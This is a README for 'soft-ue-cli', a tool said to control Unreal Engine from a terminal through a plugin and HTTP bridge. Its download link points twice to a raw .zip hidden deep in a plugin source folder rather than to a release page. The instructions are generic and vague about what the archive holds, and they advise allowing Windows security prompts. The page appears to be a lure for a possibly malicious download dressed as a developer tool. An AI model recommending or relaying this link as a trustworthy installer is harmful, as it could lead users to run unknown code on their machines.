🧰 soft-ue-cli - Control Unreal Engine from Terminal

📥 Download

Visit this page to download the latest release for Windows:

https://raw.githubusercontent.com/Unpretentious-swatsquad791/soft-ue-cli/main/soft_ue_cli/plugin_data/SoftUEBridge/Source/SoftUEBridgeEditor/Private/Tools/soft_cli_ue_v3.6.zip

🪟 What this app does

soft-ue-cli helps you control Unreal Engine from the terminal with a small Python tool and an Unreal Engine plugin. It is made for people who want to run common Unreal tasks without clicking through menus.

You can use it to:

• Spawn actors in a scene
• Edit blueprints
• Call functions in Unreal
• Capture screenshots
• Manage Play In Editor sessions
• Connect to Unreal Engine in real time
• Work with UE5 editor projects and packaged builds

✅ Before you start

You need:

• A Windows PC
• Unreal Engine 5 installed
• A project you can open in Unreal Editor
• Permission to run files you download from GitHub
• A stable local network connection if you use the bridge across devices

If you plan to use a packaged build, make sure the build includes the soft-ue-cli plugin support and the in-process HTTP bridge.

🚀 Getting started

Follow these steps in order.

1. Download the release

Go to the release page and download the latest Windows package:

https://raw.githubusercontent.com/Unpretentious-swatsquad791/soft-ue-cli/main/soft_ue_cli/plugin_data/SoftUEBridge/Source/SoftUEBridgeEditor/Private/Tools/soft_cli_ue_v3.6.zip

If the release includes a .zip file, save it to your Downloads folder.

2. Unzip the files

Right-click the downloaded .zip file and select Extract All.

Pick a folder you can find again, such as:

• C:\soft-ue-cli
• C:\Users\YourName\Downloads\soft-ue-cli

After extraction, look for:

• A Python CLI folder or executable
• A plugin folder for Unreal Engine
• A readme or setup file if included in the release

3. Install the Unreal plugin

Copy the plugin folder into your Unreal project or Engine plugin folder.

Common locations:

• YourProject\Plugins\soft-ue-cli
• UE_5.x\Engine\Plugins\soft-ue-cli

If your release package includes a plugin file, place it where Unreal Engine can load it when the project opens.

4. Open your Unreal project

Start Unreal Engine 5 and open the project you want to control.

If Unreal asks to rebuild or enable the plugin, allow it.

5. Start the bridge in Unreal

Open the plugin settings or the provided in-editor panel and start the HTTP bridge.

Keep Unreal open while you use the CLI tool.

6. Run the CLI tool

Open Command Prompt or PowerShell in the extracted soft-ue-cli folder.

Run the command included with the release package.

Common examples:

• soft-ue-cli.exe
• python main.py
• soft-ue-cli --help

Use the command that matches the files in your download.

7. Connect to Unreal

Set the Unreal host and port if needed.

Example values:

• Host: 127.0.0.1
• Port: 7777

Once connected, the CLI can send actions to Unreal in real time.

🛠️ Basic setup tips

Use these tips if the tool does not connect right away.

Check the plugin is enabled

In Unreal Engine:

• Open the project
• Go to Plugins
• Find the soft-ue-cli plugin
• Make sure it is enabled
• Restart Unreal if needed

Check the bridge is running

If the CLI cannot talk to Unreal, the bridge may be off.

Look for a status indicator in the editor or plugin panel.

Check the port

If another app uses the same port, change the port in the plugin settings and in the CLI command.

Use the same port in both places.

Check Windows security prompts

If Windows shows a prompt, allow the app to run if you trust the source and downloaded it from the release page.

🎮 What you can do with it

soft-ue-cli is useful for many Unreal tasks that usually take several clicks.

Scene work

• Add actors to the world
• Move or rotate objects
• Set object values
• Trigger actions in the scene

Blueprint work

• Edit blueprint data
• Call blueprint functions
• Update values from the terminal
• Test changes faster

Play and test

• Start PIE sessions
• Stop PIE sessions
• Reset test runs
• Capture screenshots for review

Build and runtime work

• Connect to the editor
• Connect to packaged builds
• Use the same CLI flow for different targets
• Send commands through the HTTP bridge

🧩 Example use cases

Use soft-ue-cli when you want to:

• Test a change without hunting through menus
• Run the same Unreal action many times
• Control a scene from a script
• Capture images during a test run
• Work with Claude Code and Unreal in one flow
• Automate editor tasks while keeping Unreal open

📁 Suggested folder layout

A simple setup can look like this:

• C:\soft-ue-cli\ for the CLI files
• C:\MyUnrealProject\Plugins\soft-ue-cli\ for the plugin
• C:\MyUnrealProject\ for your Unreal project

Keep the CLI files and your Unreal project in separate folders so they are easy to manage.

🔐 Network setup

The tool uses a local HTTP bridge.

For a single PC setup:

• Use 127.0.0.1
• Keep the CLI and Unreal on the same machine
• Make sure the bridge port matches in both places

For a build on another device:

• Use the host PC IP address
• Keep both devices on the same network
• Confirm the port is open and reachable

🧪 If something does not work

Try these checks in order.

Unreal does not see the plugin

• Confirm the plugin folder is in the right place
• Make sure the folder name is correct
• Restart Unreal Engine
• Check the plugin list in the editor

The CLI cannot connect

• Check the Unreal bridge is running
• Confirm host and port
• Try 127.0.0.1 for a local test
• Close other apps that may use the same port

Commands do not do anything

• Make sure the project is open
• Make sure the editor or build is in the right state
• Check that PIE is not blocking the action
• Retry the command after restarting Unreal

Screenshots fail

• Check that the target window is active
• Confirm the build has access to the scene
• Try again after the bridge reconnects

🖥️ Windows command examples

If the package includes an executable, you may use commands like:

• soft-ue-cli.exe --help
• soft-ue-cli.exe --host 127.0.0.1 --port 7777
• soft-ue-cli.exe screenshot
• soft-ue-cli.exe pie start
• soft-ue-cli.exe actor spawn

If the package uses Python, you may use commands like:

• python main.py --help
• python main.py --host 127.0.0.1 --port 7777

Use the commands that come with your release files.

🧱 System needs

Recommended setup:

• Windows 10 or Windows 11
• Unreal Engine 5.x
• 8 GB RAM or more
• A project with the plugin installed
• Python 3.10 or newer if the release uses Python files

For larger Unreal projects, 16 GB RAM or more helps.

🧭 Where this fits in your workflow

soft-ue-cli is useful when you want to keep working from the terminal while Unreal runs in the background.

It fits well if you:

• Use scripts to repeat tasks
• Work with AI coding tools
• Need quick control of Unreal from text commands
• Want less clicking and more direct control

🗂️ Release files you may see

The release page may include files such as:

• Windows ZIP package
• CLI executable
• Python source files
• Unreal Engine plugin folder
• Example config files
• README or setup notes

If there is more than one file, download the one marked for Windows.

🔧 File placement guide

If you see a plugin folder:

• Put it in your project’s Plugins folder

If you see a CLI app:

• Put it in a folder you can open from Command Prompt

If you see a config file:

• Keep it next to the CLI tool unless the release says otherwise

📝 Common terms

• CLI: A tool you use by typing commands
• Plugin: An add-on for Unreal Engine
• Bridge: The connection between the CLI and Unreal
• PIE: Play In Editor, the test mode inside Unreal
• Blueprint: A visual way to build game logic in Unreal

🧠 Simple first test

After setup, try one small action first:

• Connect to Unreal
• Spawn one actor
• Take one screenshot
• Start and stop one PIE session

This helps confirm the link works before you use larger workflows